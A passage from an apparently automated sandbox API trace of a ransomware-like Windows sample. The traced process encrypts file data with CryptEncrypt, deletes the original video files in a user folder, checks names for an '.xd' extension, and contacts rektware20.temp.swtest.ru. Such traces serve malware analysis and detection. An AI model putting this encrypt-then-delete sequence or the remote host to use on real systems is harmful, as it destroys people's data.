(in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.615] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.616] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0066.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621768, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0066.616] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0066.616] CryptEncrypt (in: hKey=0x164c6b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x182d4, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x182e0) returned 1 [0066.616] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.616] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.616] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.617] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.617] CharLowerBuffW (in: lpsz="byte[99041]", cchLength=0xb | out: lpsz="byte[99041]") returned 0xb [0066.617] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.618] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.618] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.618] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.618] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0066.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b70, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0066.619] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0066.619] CryptEncrypt (in: hKey=0x164c6b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e8df8*, pdwDataLen=0x130e618*=0x182d4, dwBufLen=0x182e0 | out: pbData=0x17e8df8*, pdwDataLen=0x130e618*=0x182e0) returned 1 [0066.619] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.619] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.619] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.619] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.619] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.619] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.619] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0066.619] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.619] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0066.619] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.619] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.619] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.619] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.619] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0066.619] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.619] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.619] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.624] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.624] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.624] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.625] WriteFile (in: hFile=0x2ac, lpBuffer=0x187d010*, nNumberOfBytesToWrite=0x182e0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x187d010*, lpNumberOfBytesWritten=0x130f01c*=0x182e0, lpOverlapped=0x0) returned 1 [0066.628] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.628] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.628] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0066.628] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.628] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.628] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0066.629] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0066.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621600, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0066.629] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0066.629] CryptDestroyKey (hKey=0x164c6b0) returned 1 [0066.629] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.629] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.629] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0066.629] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.629] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0066.629] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0066.629] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0066.629] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.629] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.630] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0066.630] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.630] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.630] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.630] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.630] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.630] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0066.630] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.630] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0066.630] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.630] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.630] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.630] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.630] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0066.630] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.630] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.630] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0066.630] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0066.630] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0066.630] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0066.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0066.631] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0066.631] CryptReleaseContext (hProv=0x17aa010, dwFlags=0x0) returned 1 [0066.631] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.631] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.631] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0066.631] FreeLibrary (hLibModule=0x74c60000) returned 1 [0066.631] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.631] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.631] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.631] CloseHandle (hObject=0x3bc) returned 1 [0066.634] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.634] CloseHandle (hObject=0x2ac) returned 1 [0066.637] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.639] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.639] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\nd2B5.avi", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\nd2B5.avi", lpFilePart=0x0) returned 0x3b [0066.639] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\nd2B5.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\nd2b5.avi")) returned 0x20 [0066.639] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\nd2B5.avi", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c830 [0066.639] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\nd2B5.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\nd2b5.avi")) returned 1 [0066.645] FindNextFileW (in: hFindFile=0x164c830, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0066.646] FindClose (in: hFindFile=0x164c830 | out: hFindFile=0x164c830) returned 1 [0066.646] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.646] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.646] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.646] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.646] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0066.646] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0066.647] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.647] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0066.647] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0066.647] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0066.647] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0066.647] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fe8, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620fe8, lpdwBufferLength=0x130ef8c) returned 1 [0066.647] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0066.647] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0066.647] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0066.649] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0066.649] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0066.649] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0066.649] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0066.649] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629150, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629150*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0066.649] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0066.650] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0066.650] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0066.650] CloseHandle (hObject=0x0) returned 0 [0066.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Videos\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Videos\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Videos\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 